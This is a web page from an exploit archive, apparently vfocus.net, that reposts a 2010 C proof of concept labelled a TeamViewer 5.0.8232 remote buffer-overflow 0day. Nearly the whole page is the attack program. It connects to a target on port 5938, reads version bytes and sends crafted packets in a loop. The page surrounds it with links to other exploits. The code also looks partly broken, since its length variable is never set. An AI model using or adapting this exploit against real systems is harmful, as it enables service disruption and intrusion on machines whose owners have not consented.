首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
TeamViewer 5.0.8232 Remote BOF PoC (0day)
来源:vfocus.net 作者:fl0_fl0w 发布时间:2010-05-19  

#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<unistd.h>

#define ALOC(tip,n) (tip*)malloc(sizeof(tip)*n)
#define POCNAME "[*]TeamViewer 5.0.8232 remote BOF poc(0day)"
#define AUTHOR "[*]fl0 fl0w"

   typedef int i32;
   typedef char i8;
   typedef short i16;
   enum {
        True=1,
        False=0,
        Error=-1       
   };
   struct  linger  ling = {1,1};
   i8* host;
   i16 port;
   i32 ver1,ver2,slen;
   void syntax(){
             i8 *help[]={"\t-h hostname",
                        "\t-p port(default 5938)",
                };
                i32 i;
                size_t com=sizeof help / sizeof help[0];
                for(i=0;i<com;i++){
                   printf("%s\n",help[i]); 
               }
        }
    i32 arguments(i32 argc,i8** argv){
         i32 i;
         argc--;
         for(i=1;i<argc;i++){
            switch(argv[i][1]){
                  case'h':
                          host=argv[++i];
                  break;
                  case'p':
                          port=atoi(argv[++i]);
                  break;                        
                  default:{
                          printf("error with argument nr %d:(%s)\n",i,argv[i]);
                  return Error;
                          exit(0); 
                }      
            }                
         }
    }   
    i32 main(i32 argc,i8** argv){
        if(argc<2){
               printf("%s\n%s\n",POCNAME,AUTHOR);       
               printf("\tToo few arguments\n syntax is:\n");
               syntax();
               exit(0);       
            }
            arguments(argc,argv);
        i32 sok,i,
            svcon,
            sokaddr;
           
        i8 *sendbytes=ALOC(i8,32768),   
           *recevbytes=ALOC(i8,5548);
            printf("[*]Starting \n \t...\n");   
            struct sockaddr_in sockaddr_sok;
            sokaddr = sizeof(sockaddr_sok);
      sockaddr_sok.sin_family = AF_INET;
      sockaddr_sok.sin_addr.s_addr = inet_addr(host);
      sockaddr_sok.sin_port = htons(port);
      sok=socket(AF_INET,SOCK_STREAM,0);
                        if(sok==-1){
                          printf("[*]FAILED SOCKET\n");
                    exit(0);
                       }
            if(svcon=connect(sok,(struct sockaddr*)&sockaddr_sok,sokaddr)<0){
               printf("Error with connection\n");
               shutdown(sok,1);
               exit(0);
            }
            if(setsockopt(sok, SOL_SOCKET, SO_LINGER, (i8*)&ling, sizeof(ling))<0){
                               printf("Error setting the socket\n");
                                              shutdown(sok,1);
                                exit(0);
            }
            if(recv(sok,&ver1,1,0)!=1)
               exit(0);
            if(recv(sok, &ver2,1,0)!=1)
               exit(0);
            memset(sendbytes,0,250);
            recv(sok,recevbytes,sizeof(recevbytes),0);
            for(i=0;;i++) {
               if(!(i & 15)) printf("%d\r", i);
                  sendbytes[0] = ver1;
                  sendbytes[1] = ver2;
                  sendbytes[2] = (i & 1) ? 15 : 21;  
            *(i16 *)(sendbytes + 3) = slen;
                 if(send(sok, sendbytes, 5, 0) != 5) break;

                   if(slen) { 
                     memset(sendbytes, i, slen);
                     if(send(sok, sendbytes, slen, 0) != slen) break;
                     }
           }
           shutdown(sok,1);
           return 0;
    }


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ChillyCMS Blind Sql Injection
·NetBSD 5.0 and below Hack GENO
·Reflection Attachmate Reflecti
·NetBSD 5.0 and below Hack PATH
·win32/xp sp3 Fr (calc.exe) She
·phpcms2008第二个EXP
·支持serv-u7,8,9本地提权exp
·phpcms 2008 yp.php 0day exp
·QtWeb Browser version 3.3 Dos
·Linux x86 execve("/usr/bin/wge
·Google Chrome 4.1.249.1059 Cro
·ECShop <= v2.7.2 SQL injection
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved